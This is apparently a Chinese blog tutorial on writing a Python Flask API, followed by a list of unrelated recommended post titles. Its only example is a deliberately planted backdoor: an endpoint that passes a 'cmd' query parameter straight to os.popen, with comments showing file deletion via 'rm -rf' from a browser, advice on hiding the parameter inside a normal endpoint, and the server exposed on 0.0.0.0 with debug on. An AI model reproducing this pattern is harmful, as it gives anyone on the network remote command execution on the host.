如何用python写接口

如何用python写接口?具体步骤如下:

1、实例化server

2、装饰器下面的函数变为一个接口

3、启动服务

开发工具和流程:

python库:flask =》实例化server:server = flask.Flask(name) =》@server.route('/index',methods=['post'])

=》def index(arg):{}

例子:

复制代码
import os
@server.route('/error',methods=['get'])
def cmd():
cmd = flask.request.values.get('cmd') # 接口入参
res = os.popen(cmd) # 执行用户命令
return res.read() # 返回执行结果
# http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件
# 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
# 默认可以不传,一但传了再res = os.popen(cmd)
server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务
# debug=True,改了代码后,不用重启,它会自动重启
# 'host='0.0.0.0'别人可以通过IP访问
相关推荐
m0_5967490915 小时前
C#怎么使用with表达式 C#record类型中with表达式怎么用如何创建对象的修改副本【语法】
jvm·数据库·python
神明93115 小时前
uni-app动画效果实现 uni-app如何使用animation API
jvm·数据库·python
m0_6908258215 小时前
uni-app怎么做类似于微博的新消息气泡 uni-app角标动画效果实现【代码】
jvm·数据库·python
m0_6315298215 小时前
uni-app iOS后台运行 uni-app App如何实现后台定位或音乐播放
jvm·数据库·python
2301_7796224115 小时前
如何睡眠等待_DBMS_LOCK.SLEEP与DBMS_SESSION暂停当前会话
jvm·数据库·python
皮卡祺q15 小时前
【JVM】:类加载机制,jvm内存布局,垃圾回收,String 不可变性源码分析
java·开发语言·jvm·多线程·string
2303_8212873815 小时前
CSS中如何实现绝对定位元素的等比缩放_利用宽高百分比
jvm·数据库·python
JAVA面经实录91715 小时前
Java核心底层原理全集(终版无遗漏·生产级PDF)
java·开发语言·学习
java修仙传15 小时前
实习日志:完成算法调用总接口并修复联调问题
java·开发语言·数据库
2303_8212873815 小时前
如何用 Object.defineProperty 为现有对象添加拦截器
jvm·数据库·python